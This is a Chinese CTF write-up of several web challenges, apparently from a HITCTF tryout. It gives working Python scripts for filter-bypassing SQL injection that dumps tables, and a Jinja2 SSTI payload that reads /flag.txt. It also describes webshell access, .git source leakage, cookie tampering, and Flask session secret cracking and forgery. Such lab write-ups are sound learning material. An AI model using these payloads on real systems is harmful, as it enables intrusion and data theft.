该题界面贼炫酷。各种光点聚合起来形成文字。再分开重新组成下一个句子。
有用的信息就是有一个马ma.php
。访问后得到密码。
蚁剑连接即可。
本题源码
<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
<style>
body {
padding: 0;
margin: 0;
overflow: hidden;
}
#cas {
display: block;
margin: auto;
}
</style>
<title>跑马场</title>
</head>
<body>
<div>
<canvas id='cas' width="1200" height="800" style="background-color:#262929">您那破烂浏览器不支持 Canvas,换个现代浏览器吧。</canvas>
</div>
<div style="display:none">
<div class="ele">好消息,好消息</div>
<div class="ele">贵站已被日,勿念</div>
<div class="ele">俺是大嘿客</div>
<div class="ele">俺还留了个马</div>
<div class="ele">ma.php</div>
<div class="ele">马照跑,舞照跳</div>
</div>
<script>
(function(){
var dr;
var canvas = document.getElementById("cas"),
ele = document.querySelectorAll(".ele"),
context = canvas.getContext('2d');
var focallength = 250,index = 0;
var img = new Image();
var pause = false;
var dots = [];
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
var RAF = (function() {
return window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || window.oRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) {
return window.setTimeout(callback, 1000 / 60);
};
})();
var Dot = function (centerX, centerY, centerZ, radius, color) {
this.dx = centerX;
this.dy = centerY;
this.dz = centerZ;
this.tx = 0;
this.ty = 0;
this.tz = 0;
this.z = centerZ;
this.x = centerX;
this.y = centerY;
this.radius = radius;
this.color = color;
};
Dot.prototype = {
paint: function () {
context.save();
var scale = (this.z + focallength) / (2 * focallength);
context.fillStyle = "rgba(" + this.color.a + "," + this.color.b + "," + this.color.c + "," + scale + ")";
context.fillRect(canvas.width / 2 + (this.x - canvas.width / 2) * scale, canvas.height / 2 + (this.y - canvas.height / 2) * scale, this.radius * scale*2 , this.radius * scale*2)
context.restore();
}
};
Array.prototype.forEach = function (callback) {
for (var i = 0; i < this.length; i++) {
callback.call(this[i]);
}
}
eachEle();
function eachEle() {
dr = 3;
if (ele[index].getAttribute('data-dr') !== null) {
dr = parseInt(ele[index].getAttribute('data-dr'))
}
context.clearRect(0, 0, canvas.width, canvas.height);
if (ele[index].innerHTML.indexOf("img") >= 0) {
img.src = ele[index].getElementsByTagName("img")[0].src;
imgload(img, function () {
context.drawImage(img, canvas.width / 2 - img.width / 2, canvas.height / 2 - img.height / 2);
dots = getimgData();
initAnimate();
})
}
else {
var text = ele[index].innerHTML;
for (var i = 0; i < text.length; i++) {
context.save();
var fontSize = Math.random() * 100 + 100;
context.font = fontSize + "px bold";
context.textAlign = "center";
context.textBaseline = "middle";
var code = text.charAt(i);
context.fillStyle = "rgba(" + parseInt(Math.random() * 125 + 130) + "," + parseInt(Math.random() * 125 + 130) + "," + parseInt(Math.random() * 125 + 130) + " , 1)";
context.fillText(code, canvas.width / 2 - ((text.length / 2 - i) * 150), canvas.height / 2);
context.restore();
}
dots = getimgData();
initAnimate();
}
index < (ele.length - 1) ? index++ : index = 0;
}
function imgload(img, callback) {
if (img.complete) {
callback.call(img);
}
else {
img.onload = function () {
callback.call(this);
}
}
}
var lastTime;
function initAnimate() {
dots.forEach(function () {
this.x = getRandom(0, canvas.width);
this.y = getRandom(0, canvas.height);
this.z = getRandom(-focallength, focallength);
this.tx = getRandom(0, canvas.width);
this.ty = getRandom(0, canvas.height);
this.tz = getRandom(-focallength, focallength);
});
dots.sort(function (a, b) {
return b.z - a.z;
});
dots.forEach(function () {
this.paint();
});
lastTime = new Date();
animate();
}
var derection = true;
function animate() {
animateRunning = true;
var thisTime = +new Date();
context.save();
context.globalCompositeOperation = 'destination-out';
context.globalAlpha = 0.1;
context.fillRect(0, 0, canvas.width, canvas.height);
context.restore();
var sulv = 0.1;
dots.forEach(function () {
var dot = this;
if (derection) {
if (Math.abs(dot.dx - dot.x) < 0.1 && Math.abs(dot.dy - dot.y) < 0.1 && Math.abs(dot.dz - dot.z) < 0.1) {
dot.x = dot.dx;
dot.y = dot.dy;
dot.z = dot.dz;
if (thisTime - lastTime > 300) derection = false;
} else {
dot.x = dot.x + (dot.dx - dot.x) * sulv;
dot.y = dot.y + (dot.dy - dot.y) * sulv;
dot.z = dot.z + (dot.dz - dot.z) * sulv;
lastTime = +new Date()
}
}
else {
if (Math.abs(dot.tx - dot.x) < 0.1 && Math.abs(dot.ty - dot.y) < 0.1 && Math.abs(dot.tz - dot.z) < 0.1) {
dot.x = dot.tx;
dot.y = dot.ty;
dot.z = dot.tz;
pause = true;
} else {
dot.x = dot.x + (dot.tx - dot.x) * sulv;
dot.y = dot.y + (dot.ty - dot.y) * sulv;
dot.z = dot.z + (dot.tz - dot.z) * sulv;
pause = false;
}
}
});
dots.sort(function (a, b) {
return b.z - a.z;
});
dots.forEach(function () {
this.paint();
});
if (!pause){
RAF(animate)
}else {
context.clearRect(0, 0, canvas.width, canvas.height);
eachEle();
derection = true;
pause = false;
}
}
function getRandom(a, b) {
return Math.random() * (b - a) + a
}
function getimgData() {
var imgData = context.getImageData(0, 0, canvas.width, canvas.height);
context.clearRect(0, 0, canvas.width, canvas.height);
var dots = [];
var canbreak = false;
for (var x = 0; x < imgData.width; x += dr) {
for (var y = 0; y < imgData.height; y += dr) {
var i = (y * imgData.width + x) * 4;
if (imgData.data[i + 3] > 128) {
var dot = new Dot(x - dr, y - dr, 0, dr, {
a: imgData.data[i],
b: imgData.data[i + 1],
c: imgData.data[i + 2]
});
dots.push(dot);
}
}
}
console.log(dots.length)
return dots;
}
}())
</script>
</body>
</html>
以后也能用这么炫酷的特效了哈哈。
题目界面同样十分精美,查看源代码后发现图片的链接用的是一个php文件。
把后面的链接直接改成flag.txt即可获得flag。
dirsearch发现.git
文件泄露。
利用GitHack
脚本即可获得网站源代码。
源码中没有flag,考虑flag在git以前的版本中,利用git log
查看历史版本。
利用git reset -a comit-id
回到之前的版本。
获得提示图片。
我们了解到flag在目录下oh_my_flag_****.png
的图片中,直接用Burp爆破即可。
一道常规的sql注入题目,过滤了空格和一些关键字,空格可以用/**/
绕过,关键字可以大写绕过。
以下是自己写的fuzz脚本。
import requests
from urllib.parse import quote
with open("dict.txt", "r") as f:
while (1):
id = f.readline().strip('\n')
if id:
burp0_url = f"http://node1.web.tryout.hitctf.cn:20081/read.php?id={quote(id)}"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
response = requests.get(burp0_url, headers=burp0_headers).text
if ("自首" in response):
print(f"{id} no")
else:
print(f"{id} ok")
else:
break
以下为payload脚本
import requests
from urllib.parse import quote
from bs4 import BeautifulSoup
id = "1 order by 3".replace(" ", "/**/") #3无结果,说明主select有两个变量
id = "-1 Union Select 1, database()".replace(" ", "/**/") #得到数据库为lilac
id = "-1 Union Select 1, Group_concat(table_name) From information_schema.tables Where table_schema = 'lilac'".replace(" ", "/**/") #得到表here_is_flag_37bdcb5cca88
id = "-1 Union Select 1, Group_concat(column_name) From information_schema.columns Where table_name = 'here_is_flag_37bdcb5cca88'".replace(" ", "/**/") #得到十个字段col_1到col_10
for i in range(1, 11): #爆破十个字段
id = f"-1 Union Select 1, col_{i} From here_is_flag_37bdcb5cca88".replace(" ", "/**/")
burp0_url = f"http://node1.web.tryout.hitctf.cn:20081/read.php?id={quote(id)}"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
response = requests.get(burp0_url, headers=burp0_headers).text
if ("flag" in response):
soup = BeautifulSoup(response, "html.parser")
print(f"col_{i} success")
print(soup.div)
else:
print(f"col_{i} failed")
题目给了一堆Hint233,几乎就是要把答案给你了,考点就是python flask jinja2 的 ssti。回显藏得比较深,但是题目给了提示,在title标签中。
试了一下网上的payload,发现很多多会返回500状态码,后来意识到是引号被过滤了,用request请求加参数的方式绕过。
以下为payload脚本。
import requests
from urllib.parse import quote
from bs4 import BeautifulSoup
# payload = "{{1 * 100}}"
payload = "{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}"
dict = {'arg1': 'open', 'arg2': '/flag.txt'}
burp0_url = f"http://node1.web.tryout.hitctf.cn:20021/{quote(payload)}"
response = requests.get(burp0_url, params=dict).text
soup = BeautifulSoup(response, "html.parser")
print(soup.title)
先随便用一个账号密码进去。
发现Cookie中有username字段,改为admin即可获得flag。
和上一题几乎是同样的题目,只不过抓包后Cookie中没有username字段了,只有一个session。
看session的样式感觉应该是 flask 的 session。利用noraj/flask-session-cookie-manager 即可获得session解密后的内容。
我们可以看到session解密后里面有username字段,看来需要我们伪造session了。
但是session是需要有签名的,也就是需要一个SECRET_KEY
。但是这道题里没有给。
这时候其实题目已经提示我们了,我们需要unsign
,即根据session来猜测签名。在 github上找到同名脚本 Paradoxis/Flask-Unsign)。
成功得到secret key
为password
,于是我们再用之前的脚本加密一下即可获得payload。
发送后成功得到flag。
本部的题目质量都好高啊,特别是阮学长出的题,界面十分美观。
但是还是太菜2333,Basic题有4道做不出来了,Advanced题更是看一眼就感觉不会了哈哈。